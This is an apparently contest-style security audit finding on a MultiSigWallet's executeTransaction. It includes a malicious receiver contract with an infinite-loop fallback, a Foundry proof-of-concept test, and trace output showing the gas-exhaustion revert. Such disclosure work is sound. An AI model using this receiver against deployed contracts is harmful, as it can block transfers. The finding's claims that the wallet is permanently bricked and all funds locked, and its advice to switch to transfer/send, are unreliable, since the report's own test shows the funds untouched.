Summary
The MultiSigWallet
contract is vulnerable to a Denial of Service (DoS) attack through its transaction execution mechanism. A malicious recipient contract can consume all available gas during execution, causing transactions to fail indefinitely. Additionally, the contract lacks essential functions for revoking, canceling, or recovering funds from failed transactions, increasing the impact of this vulnerability.
Vulnerability Details
function executeTransaction(uint256 _txId) external onlyOwners {
require(_txId < transactions.length, "Invalid transaction ID");
Transaction storage txn = transactions[_txId];
require(!txn.executed, "Transaction already executed");
require(txn.approvedByOwner1 && txn.approvedByOwner2, "Not enough approvals");
txn.executed = true;
(bool success,) = payable(txn.to).call{value: txn.value}("");
require(success, "Transaction failed");
emit TransactionExecuted(_txId, txn.to, txn.value);
}
The executeTransaction
function in MultiSigWallet
executes a low-level .call
to send ETH to a specified recipient:
(bool success,) = payable(txn.to).call{value: txn.value}(""); require(success, "Transaction failed");
Since .call
does not enforce a gas limit, a malicious contract can define a fallback
function that enters an infinite loop or consumes all available gas. When the multisig tries to send ETH to this malicious contract, the transaction will fail due to out-of-gas errors. This permanently prevents the execution of any further transactions, effectively bricking the multisig wallet.
Attack Scenario:
A multisig owner submits a transaction to send ETH to a malicious contract.
Both owners approve the transaction.
When executeTransaction
is called, the contract attempts to send ETH using .call
to the recipient address.
If the recipient is a malicious contract, it can define a fallback
function that consumes all gas (e.g., an infinite loop).
This causes the transaction to always fail, locking all funds in the multisig and preventing future transactions from being executed.
POC
For the POC, a MaliciousReceiver
contract will be used.
contract MaliciousReceiver {
fallback() external payable {
while (true) {}
}
}
Then add the Test Below to Prove the attack. use the command forge test --mt testDenialOfServiceAttackMultiSig -vvvv
to run the test.
function testDenialOfServiceAttackMultiSig() public {
MaliciousReceiver maliciousReceiver = new MaliciousReceiver();
multiSig = new MultiSigWallet(user, user2);
vm.deal(address(multiSig), 10 ether);
uint256 initialBalance = address(multiSig).balance;
vm.prank(user);
multiSig.submitTransaction(address(maliciousReceiver), 1 ether);
vm.prank(user);
multiSig.approveTransaction(0);
vm.prank(user2);
multiSig.approveTransaction(0);
vm.prank(user);
vm.expectRevert();
multiSig.executeTransaction(0);
vm.prank(user);
vm.expectRevert();
multiSig.executeTransaction(0);
assertEq(address(multiSig).balance, initialBalance, "Funds should remain in the MultiSigWallet");
}
You should see a result like the below proving the OutOfGas
Error
Ran 1 test for test/testSoulboundProfileNFT.t.sol:SoulboundProfileNFTTest
[PASS] testDenialOfServiceAttackMultiSig() (gas: 1072690801)
Traces:
[1072690801] SoulboundProfileNFTTest::testDenialOfServiceAttackMultiSig()
├─ [12666] → new MaliciousReceiver@0x2e234DAe75C793f67A35089C9d99245E1C58470b
│ └─ ← [Return] 63 bytes of code
├─ [491245] → new MultiSigWallet@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
│ └─ ← [Return] 2230 bytes of code
├─ [0] VM::deal(MultiSigWallet: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 10000000000000000000 [1e19])
│ └─ ← [Return]
├─ [0] VM::prank(0x0000000000000000000000000000000000000123)
│ └─ ← [Return]
├─ [71448] MultiSigWallet::submitTransaction(MaliciousReceiver: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 1000000000000000000 [1e18])
│ ├─ emit TransactionCreated(txId: 0, to: MaliciousReceiver: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], value: 1000000000000000000 [1e18])
│ └─ ← [Stop]
├─ [0] VM::prank(0x0000000000000000000000000000000000000123)
│ └─ ← [Return]
├─ [22870] MultiSigWallet::approveTransaction(0)
│ ├─ emit TransactionApproved(txId: 0, owner: 0x0000000000000000000000000000000000000123)
│ └─ ← [Stop]
├─ [0] VM::prank(0x0000000000000000000000000000000000000456)
│ └─ ← [Return]
├─ [3102] MultiSigWallet::approveTransaction(0)
│ ├─ emit TransactionApproved(txId: 0, owner: 0x0000000000000000000000000000000000000456)
│ └─ ← [Stop]
├─ [0] VM::prank(0x0000000000000000000000000000000000000123)
│ └─ ← [Return]
├─ [0] VM::expectRevert(custom error f4844814:)
│ └─ ← [Return]
├─ [1039751156] MultiSigWallet::executeTransaction(0)
│ ├─ [1039742383] MaliciousReceiver::fallback{value: 1000000000000000000}()
│ │ └─ ← [OutOfGas] EvmError: OutOfGas <============ Here
│ └─ ← [Revert] revert: Transaction failed
├─ [0] VM::prank(0x0000000000000000000000000000000000000123)
│ └─ ← [Return]
├─ [0] VM::expectRevert(custom error f4844814:)
│ └─ ← [Return]
├─ [32237071] MultiSigWallet::executeTransaction(0)
│ ├─ [32228299] MaliciousReceiver::fallback{value: 1000000000000000000}()
│ │ └─ ← [OutOfGas] EvmError: OutOfGas <============ Here
│ └─ ← [Revert] revert: Transaction failed
├─ [0] VM::assertEq(10000000000000000000 [1e19], 10000000000000000000 [1e19], "Funds should remain in the MultiSigWallet") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.49s (3.98s CPU time)
Ran 1 test suite in 6.18s (4.49s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
No way to recover funds: Owners have no ability to cancel transactions, withdraw stuck funds, or override approvals.
Permanent loss of funds: If a transaction is submitted to a malicious contract, all funds in the multisig may become permanently locked.
Tools Used
Manual Review and Foundry
Recommendations
Use transfer
or send
Instead of .call
Instead of .call
, use transfer
or send
, which forward only 2300 gas and prevent reentrancy attacks:
payable(txn.to).transfer(txn.value);
Allow Emergency Withdrawal
Add a function for owners to withdraw stuck funds:
function emergencyWithdraw(address _to, uint256 _amount) external onlyOwners { require(_to != address(0), "Invalid address"); require(_amount <= address(this).balance, "Not enough balance"); payable(_to).transfer(_amount); }